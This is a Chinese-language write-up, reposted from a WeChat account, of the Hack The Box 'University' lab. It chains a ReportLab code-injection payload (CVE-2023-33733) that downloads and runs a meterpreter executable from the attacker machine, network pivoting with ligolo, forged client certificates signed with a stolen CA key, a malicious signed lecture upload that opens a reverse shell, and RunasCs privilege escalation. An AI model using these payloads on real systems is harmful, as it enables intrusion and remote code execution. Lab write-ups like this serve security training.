HTB靶场University [Insane]

admin 2024年11月6日22:59:16评论263 views字数 4138阅读13分47秒阅读模式
本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:内网渗透 

kali:10.10.16.16 

University DC:10.10.11.39
0001.获取DC机器WAO用户权限
使用nmap扫描目标端口开发情况,根据开放情况可知目标为windows系统。
nmap -sV -sC -O -oN nmap.txt 10.10.11.39
HTB靶场University [Insane]
访问80端口网站主页,该网站是一个选课网站,角色分为学生和教授。
学生:注册、登录、使用凭证登录、获取凭证、修改个人信息、导出个人信息。
教授注册后需要管理员激活才可以登录。
HTB靶场University [Insane]
使用如下命令生成PK.key和My-CSR.csr文件,上传My-CSR.csr文件(需要用户名和邮件和当前登录用户一致),系统返回PEM文件,后面就可以使用PEM文件登录。
openssl req -newkey rsa:2048 -keyout PK.key -out My-CSR.csr    
HTB靶场University [Insane]
个人信息导出按钮和导出后模板如下,我在每个空填入<script>alert(123)</script>,Bio框中script标签消失了,这个框的表现和其他输入框的表现不同。
HTB靶场University [Insane]
根据如下漏洞,可以进行命令执行
https://github.com/c53elyas/CVE-2023-33733
使用msfvenom生成反弹shell文件nameme.exe,开启http服务,使用msf监听端口。使用的payload为windows/x64/meterpreter/reverse_tcp
在个人信息界面Bio富文本框输入如下命令,点击pdf导出个人信息,下载攻击文件:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell Invoke-WebRequest -Uri http://10.10.16.16/nameme.exe -OutFile ./nameme.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
HTB靶场University [Insane]
再次使用下列命令执行攻击文件,获取WAO用户权限
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell Start-Process ./nameme.exe') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
HTB靶场University [Insane]
0002. 获取WS-3机器的WAO权限
在DC靶机上找到db.sqlite3文件,里面用户密码使用pbkdf2加密,使用代码跑了很久没有跑出来。
我们从表中知道了教授george的用户名和邮件。    
HTB靶场University [Insane]
在C:WebDB Backups目录下发现备份的数据和备份的脚本:
HTB靶场University [Insane]
脚本里面发现密码,但是将压缩文件复制到本地后使用该密码解压失败。    
HTB靶场University [Insane]
尝试使用该密码登录WAO用户成功
evil-winrm -u 'WAO' -p 'WebAO1337' -i 10.10.11.39
HTB靶场University [Insane]
查看靶机的网络情况,靶机有个私有地址192.168.99.1,尝试ping 192.168.99段的其它ip,发现192.168.99.2能被ping通。
HTB靶场University [Insane]
使用ligolo将本地kali加入到192.168.99段中。    
a.kali
sudo ./proxy  -selfcert -laddr 0.0.0.0:443
HTB靶场University [Insane]
b.靶机
upload agent.exe./agent.exe -connect 10.10.16.16:443 -ignore-cert
HTB靶场University [Insane]
c.kali
# kali其他终端sudo ip tuntap add user kali mode tun ligolosudo ip link set ligolo up    sudo ip route add 192.168.99.0/24 dev ligolo# ligolo终端session1start
HTB靶场University [Insane]
成功接入192.168.99段
HTB靶场University [Insane]
现在可以对99段进行扫描,使用nmap扫描不出来准确的存活主机,使用ping命令脚本扫描处192.168.99.2和192.168.99.12存活。    
HTB靶场University [Insane]
再使用nmap对两个主机进行扫描,192.168.99.2为windows主机:
HTB靶场University [Insane]
192.168.99.12为linux主机:
HTB靶场University [Insane]
使用wao用户密码登录192.168.99.2
evil-winrm -u 'WAO' -p 'WebAO1337' -i 192.168.99.2    
HTB靶场University [Insane]
根据c:userspublic下的Evaluated LecturesRejected Lectures目录,推断该机器是用于审核教授上传的课件内容的。
0003.LAB-2机器的root权限
使用wao用户密码登录192.168.99.12机器,这里可能会提示invalid format,多试几次即可。
HTB靶场University [Insane]
sudo -l发现wao用户拥有所有的权限
HTB靶场University [Insane]    
在/home/wao/Downloads目录下发现DC机器上的网站代码和CA等,推断这是开发人员使用的机器。
HTB靶场University [Insane]
0004.获取WS-3机器Martin.t用户权限
在WS-3机器中我们知道是会审核上传课件的,我们伪造教授的凭证登录上传课件。
首先下载DC机器c:webCA中的rootCA.crt、rootCA.key、rootCA.srt文件
前面通过db.sqlite我们已经知道george教授及邮件george@university.htb
使用如下命令生成george用户的pem凭证,填用户名和邮件使用george用户的。
openssl req -newkey rsa:2048 -keyout George_PK.key -out George_CSR.csropenssl x509 -req -in George_CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out george.pem -days 365    
HTB靶场University [Insane]
使用pem文件登录
HTB靶场University [Insane]
教授的工号比学生工号多出三个菜单    
HTB靶场University [Insane]
GPG上传功能用于上传asc文件,asc文件用于对文件进行签名和加密。
HTB靶场University [Insane]
课件上传功能,要求上传课件zip文件和数字签名文件。
HTB靶场University [Insane]
这里的步骤是先在本地生成asc文件后上传到,再对课件生成数字签名文件,最后将课件和签名文件一起上传。
WS-3机器中会有用户去查看上传的课件,我们可以尝试上传恶意文件,看是否能获取其他用户权限。
在本地生成恶意文件,这里监听的机器为LAB-2机器,因为WS-3机器是无法访问到本地kali的。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.12 LPORT=4448 -f exe > shell4448.exe    
上传到WS-3机器的C:temp
HTB靶场University [Insane]
在LAB-2机器上监听端口4448
nc -lnvp 4448
HTB靶场University [Insane]
上传的文件中限定了docx、pptx、pdf和url文件,我们使用url链接生成恶意文件shell.url,打包成zip文件
HTB靶场University [Insane]
本地生成asc文件george.asc和数字签名shell.zip.sig
gpg --export -a "george" > george.ascgpg -u george --detach-sign shell.zip  
HTB靶场University [Insane]
在GPG key upload界面上传george.asc文件,在课件上传界面上传shell.zip和shell.zip.sig文件。
等待一会,就会在LAB-2机器收到martin.t用户反弹shell
HTB靶场University [Insane]
在此用户也能找到user flag
HTB靶场University [Insane]
0005.获取DC用户的Administrator权限
这里反而比较简单,我们用WAO用户进入DC机器,查特殊权限只有如下三个:    
HTB靶场University [Insane]
但是当我们使用RunasCs.exe切换登录类型后会多出来其它权限,当前登录类型为交互式登录,我们切换到服务类型登录:
本地使用msf监听4445端口,DC靶机上传RunasCs.exe和恶意文件nameme.exe。
反弹shell,可以看到WAO用户多出SeCreateGlobalPrivilege特殊权限。
./RunasCs.exe --bypass-uac -l 5 WAO WebAO1337 nameme.exe
HTB靶场University [Insane]
SeCreateGlobalPrivilege权限一般管理员才会拥有,在msfconsole中直接使用getsystem提权。    
HTB靶场University [Insane]
读取root flag:
cat /users/administrator/desktop/root.txt
HTB靶场University [Insane]
感谢收看!    

原文始发于微信公众号(Rsec):HTB靶场University [Insane]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日22:59:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场University [Insane]https://cn-sec.com/archives/3361292.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息